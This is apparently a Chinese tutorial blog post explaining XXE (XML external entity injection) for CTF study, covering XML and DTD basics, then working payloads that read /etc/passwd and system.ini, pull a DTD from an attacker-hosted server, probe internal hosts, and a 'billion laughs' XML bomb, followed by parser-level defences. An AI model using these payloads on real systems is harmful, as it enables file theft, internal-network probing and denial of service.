XML外部实体注入漏洞——XXE简单分析
前言:
??????? XXE漏洞經常出現在CTF中,一直也沒有系統的學習過,今天就來總結一波。
文章目錄
- 一、XXE 漏洞是什么:
- 二、XML基礎知識:
- 1、XML是什么?
- 2、XML文檔結構:
- DTD聲明方式:
- 1、內部DTD聲明:
- 2、外部DTD聲明:
- 實體的聲明:
- 實體的分類:
- 1、按聲明位置分(和上面的內外部引入 DTD聲明不同,別弄混了):
- 2、按類型分:
- 三、如何利用XXE:
- 四、XXE漏洞常見的危害:
- 1、任意文件讀取:
- 2、命令執行:
- 3、內網探測:
- 4、攻擊內網網站:
- 5、發起Dos攻擊:
- 五、XXE 如何防御:
- 方式一、使用開發語言提供的禁用外部實體的方法:
- 方式二、過濾用戶輸入:
- 最后
一、XXE 漏洞是什么:
XXE 漏洞全稱:XML External Entity Injection,即 XML 外部實體 注入漏洞。XXE 漏洞發生在應用程序解析 XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件和代碼,造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起 Dos攻擊等危害。
二、XML基礎知識:
想要了解 XXE漏洞,需要先了解一下關于 XML的基礎知識。
1、XML是什么?
-
XML全稱:可擴展標記語言(Extensible Markup Language)。
-
XML是獨立于軟件和硬件的信息傳輸工具,它把數據從HTML中分離。 XML語言沒有預定義的標簽,需要作者定義自己的標簽和自己的文檔結構。
-
XML 被設計用來傳輸和存儲數據,HTML 被設計用來顯示數據。
2、XML文檔結構:
XML文檔結構包括:
XML聲明
DTD 文檔類型定義(可選)
文檔元素。
示例代碼:
其中 DTD (Document Type Definition)即 文檔類型定義 部分 定義了XML文檔的標簽以及元素屬性。
如上圖中的DTD 就定義了XML的根元素為 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文檔元素就可以使用這些元素:
<!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>注:
-
PCDATA:可被解析的字符數據。PCDATA 數據類型是會被解析器解析的文本。這些文本將被解析器檢查 實體 以及 標記。文本中的標簽會被當作標記來處理,而實體會被展開。與之對應的是CDATA
-
CDATA:不被解析的字符數據,CDATA 數據類型是不會被解析器解析的文本,在這些文本中的標簽不會被當作標記來對 待,其中的實體也不會被展開。詳細可點這 鏈接
DTD聲明方式:
其中DTD有兩種構建方式,分別為內部 DTD聲明和外部 DTD聲明。
1、內部DTD聲明:
聲明格式:
<!DOCTYPE 根元素 [元素聲明]>如 上例使用就是內部 DTD聲明。
2、外部DTD聲明:
通過引入 dtd文件的方式進行聲明(這一點和 css,javascript 很像)。
聲明格式:
<!DOCTYPE 根元素 SYSTEM "文件名">例:
<?xml version="1.0"?><!DOCTYPE note SYSTEM "test.dtd"> <note> <to>H</to><from>E</from><head>L</head><body>LO</body> </note>test.dtd:
<!ELEMENT to (#PCDATA)><!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)><!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)><!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)><!--定義body元素為”#PCDATA”類型-->🆗,說完了 DTD的兩種引入方式,終于到了關鍵人物:" 實體 " 登場了。
實體的聲明:
實體定義在 DTD聲明中,
例:
<?xml version="1.0"?> <!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe "hello" > ]>這里定義元素為 ANY 表示可以接受任何元素作為標簽,這里的 "xxe" 就是我們所說的實體了(相當于一個變量),可以在XML文檔元素中使用 & 符號對實體進行引用。
例:
<sss> <user>&xxe;</user> <pass>pass</pass> </sss>到時候輸出的時候 &xxe; 就會被 hello 替換。
實體的分類:
1、按聲明位置分(和上面的內外部引入 DTD聲明不同,別弄混了):
實體是定義在 DTD中的,可分為 外部實體 和 內部實體,上面的例子就是內部實體,外部實體就是把實體定義在外部文件中。
例:
<?xml version="1.0"?> <!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件 ]> <sss><user>&xxe;</user><pass>pass</pass> </sss>這樣當需要更改實體的值時,只需要更改外部的 dtd 文件就行,不需要打開源碼更改了(降低了耦合性),但也帶來了安全漏洞。
外部實體支持http、file等協議。不同程序支持的協議不同:
2、按類型分:
實體又分為通用實體和參數實體。
1、通用實體:
- 用 &實體名;引用,在DTD 中定義(內外DTD都行),在 XML文檔元素中引用。
上面的例子都是通用實體。
2、參數實體:
-
使用 % 實體名(中間有空格) 在DTD中定義(內外DTD都行),并且只能在DTD中使用 %實體名; 引用。
-
在 DTD 文件中,參數實體的聲明可以引用其他實體(參數實體和通用實體)。
引入格式:
內部引入:
<!ENTITY % 實體名稱 "實體的值">例:
<?xml version="1.0" encoding="utf-8"> <!DOCTYPE Author [ <!ENTITY % first "Hello"> <!ENTITY % second "%first;_World"> %second;]>%second; 會解析為:Hello_World
外部引入:
<!ENTITY % 實體名稱 SYSTEM "URI">例:
<!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///D:/test.dtd"> %name;]>三、如何利用XXE:
說了這么多,終于來到了重點,正如標題 XXE名為 “外部實體注入”,也就是說時是通過引入外部實體的方式進行注入的。
我們先來看這個例子:
<?xml version="1.0"?> <!DOCTYPE s [ <!ELEMENT s ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > ]> <s><user>&xxe;</user><pass>pass</pass> </s>既然能讀 dtd文件,那是不是將路徑換成敏感文件的路徑,也能把敏感文件讀出來?
例:
解析 xml 的php文件:
test.php:
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);echo $creds; ?>構造payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE A [ <!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]> <A>&a;</A>可以看到,成功讀取到了 C盤下的 system.ini 文件,此漏洞就是 任意文件讀取漏洞。
四、XXE漏洞常見的危害:
1、任意文件讀取:
構造任意文件讀取漏洞 playload 有下面幾種方法:
方式一、直接通過外部實體聲明:
XML內容:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a>&b;</a>上面的例子就是此方式,這是最簡單的XXE漏洞利用。
方式二、外部實體聲明 (通用實體)+ 外部 DTD文件:
XML內容:
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://XXX/test.dtd"> <c>&b;</c>注意:這里的 http://XXX/test.dtd 是攻擊者自己服務器上的文件。
test.dtd 內容:
<!ENTITY b SYSTEM "file:///etc/passwd">示例(使用的是 xxe-labs 靶場的php環境):
因為這里使用windows演示的,所以讀取的是 system.ini 文件,可以看到成功的讀取到了。
方式三、外部實體聲明(參數實體) + 引入外部實體聲明:
因為參數實體可以嵌套別的實體,所以產生了這種方式。
<?xml version="1.0"?> <!DOCTYPE a[<!ENTITY % d SYSTEM "http://XXX/test.dtd">%d; ]> <c>&b;</c>test.dtd 內容:
<!ENTITY b SYSTEM "file:///etc/passwd">示例:
注意這種方式必須要先引用 參數實體,才能引用通用實體,且缺一不可。
2、命令執行:
在安裝 expect擴展的PHP環境里執行系統命令,其他協議也有可能可以執行系統命令。
因為PHP的 expect 并不是默認安裝擴展,所以命令執行比較難利用,但不排除有幸運的情況。
3、內網探測:
XML 外部實體中是可以使用http://協議,可以利用該請求去探查內網。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>4、攻擊內網網站:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]> <root> <name>&xxe;</name> </root>5、發起Dos攻擊:
幾乎所有可以控制服務器資源利用的東西,都可用于制造DOS攻擊。通過XML外部實體注入,攻擊者可以發送任意的HTTP請求,因為解析器會解析文檔中的所有實體,所以如果實體聲明層層嵌套的話,在一定數量上可以對服務器器造成DoS。
常見的XML炸彈:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>攻擊原理:XML解析器嘗試解析該文件時,DTD中的實體會以指數級的數量級展開,lol 實體為 “lol” 字符串,然后一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字符串,所以這個1K不到的文件經過解析后會占用到3G的內存,可見有多恐怖,不過現代的服務器軟硬件大多已經抵御了此類攻擊。
防御XML炸彈的方法也很簡單禁止DTD或者是限制每個實體的最大長度。
五、XXE 如何防御:
方式一、使用開發語言提供的禁用外部實體的方法:
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方式二、過濾用戶輸入:
過濾用戶提交的XML數據 ,關鍵詞:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC。
最后
🆗,關于 XXE漏洞的總結大致就這些了,后面遇到新的 XXE利用方式再補上。( ?? ω ?? )?
總結
以上是生活随笔為你收集整理的XML外部实体注入漏洞——XXE简单分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Google Hacking语法总结
- 下一篇: XML外部实体注入